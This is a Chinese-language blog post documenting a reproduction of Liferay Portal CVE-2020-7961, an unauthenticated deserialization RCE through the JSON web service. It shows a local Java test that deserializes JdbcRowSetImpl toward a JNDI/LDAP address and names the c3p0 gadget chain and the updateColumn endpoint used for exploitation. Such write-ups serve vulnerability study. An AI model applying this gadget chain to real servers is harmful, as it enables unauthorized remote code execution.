Liferay Portal CVE-2020-7961 学习记录(7.0以上回显)
日期: 2020-04-07 更新: 2020-04-08 分类: 漏洞复现
前几天看大家也都在分析该CVE,自己也跟着大佬步伐记录一下所学和思路。
code white | Blog: Liferay Portal JSON Web Service RCE Vulnerabilities
根据以上博客得出几个复现漏洞的点。
漏洞形成前提
版本小于:6.2 GA6、7.0 GA7、7.1 GA4、7.2 GA2
漏洞实现版本区别,本文只学习了 7.0 以上版本的相关复现:
小于7.0使用 Flexjson
大于7.0使用 Jodd Json
区别为jodd json不支持直接传递对象类型,需要使用map映射或者setClassMetadataName函数才能指定对象类型类似于fastjson,jackson的安全限制,但是由于jodd没有上面这2个库那么多黑名单限制所以更容易构造反序列化漏洞。
debug环境
- docker: mdelapenya/liferay-portal:7.0-ga6
- idea 设置remote调试填写socket端口即可
漏洞复现的关键点
根据网络上的博客总结出以下几点:
- Json services 服务接口存在java.lang.object参数调用这样就可以被指定为任意类型从而传递任意恶意类
- 使用jodd指定任意类型导致反序列化命令执行:不安全的反序列化 会执行内部无参构造方法和setter方法和父类构造方法
- 反序列化在接口认证之前所以构成未授权远程命令执行.
构造payloads
- 找出/api/jsonws服务接口中可以调用java.lang.object参数的服务名
- 找出jodd json可以构造无参和setter方法执行的利用链
- 尝试进行回显
1. 寻找对象java.lang.object
先进行第一步找出api/jsonws接口或者代码里搜索接口传递参数为object的服务接口
这里找到updateColumn接口发现参数接收java.lang.object:
接下来我们构造接口传递任意类型给defaultData参数最终会进行jodd json库的反序列化,那我们先进行jodd json反序列化的本地测试
2. 测试jodd json不安全的反序列化
具体本地测试jodd不安全反序列化可参考:
https://paper.seebug.org/1162/
这里分享以下本地测试jodd json反序列化遇到一个坑:
测试时需要按照liferay的调用方法使用jodd中的map方法进行反序列化操作具体原因见差异:
1 | \com\liferay\portal\json\JSONDeserializerImpl.class#22 |
- 过程反序列化部分payload差异
1
2
3
4
5
6
7
8
9
10
11
12
13public class Test1 {
public static void main(String[] args) {
JsonParser jsonParser = new JsonParser();
String testjson = "{\"class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"http://127.0.0.1:1389\", \"autoCommit\":true}";
// 造成读取hashmap setter不按自己逻辑执行
jsonParser.setClassMetadataName("class").parse(testjson);
// 自动设置roottype按顺序读取key value
String testjson1 = "{\"dataSourceName\":\"ldap://127.0.0.1:1389\", \"autoCommit\":true}";
jsonParser.map((String)null, JdbcRowSetImpl.class).parse(testjson1);
}
}
根据官网设置setClassMetadataName最终key value被加载进hashmap由于hashmap按key排序取key会按照排序顺序导致a开头的autoCommit被提前执行SetautoCommit无法找到dataSourceName的jndi服务:
jsonParser.setClassMetadataName(“class”).parse(testjson);
map调用方式会按照输入json数据流的顺序取值因为targetype被rootype赋值isTargetRealTypeMap按代码逻辑被设置为false, 从HTTP请求中解析json会按照自己设置的顺序读取:
jsonParser.map((String)null, JdbcRowSetImpl.class).parse(testjson);
当然如果只有一个参数的利用链就不受到排序影响,在Liferay使用的map函数所以也不会受到影响.
3. 调用反序列化执行
官网关于java.lang.object参数传值调用方式介绍:
https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/invoking-json-web-services#object-parameters
参数名为 +参数名:类名=值:
类似的payload网上也很多了。
执行分析流程图 (打开放大)
构造回显payload
- 先将所有存在的jar包拉出,检索存在可能的链,其实允许构造方法和setter任意访问 jackson,fastjson多个payload通用
- 需要考虑利用链中组件的版本
- 需要考虑当前JDK版本
发现lib下存在以下依赖包:
1 | c3p0.jar |
此时可以参考marshalsec中的jackson利用方法:
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
docker环境下liferay-portal:7.0-ga6 jdk版本为1.8.221所以有部分gadgets受到jdk版本影响无法执行:
1 | com.mchange.v2.c3p0.WrapperConnectionPoolDataSource: |
当触发setuserOveridesAsString函数最终将会把hex反序列化造成触发恶意代码,此时替换成合适且符合jdk1.8.211和内置的库中的版本需求就可以尝试构造回显:
寻找那些实现了各种request response函数的接口,通过类去搜索,在那些代码被调用
最好先将所有jar包反编译否则搜索匹配字会出问题
如无特殊说明,均为原创内容。转载请注明出处!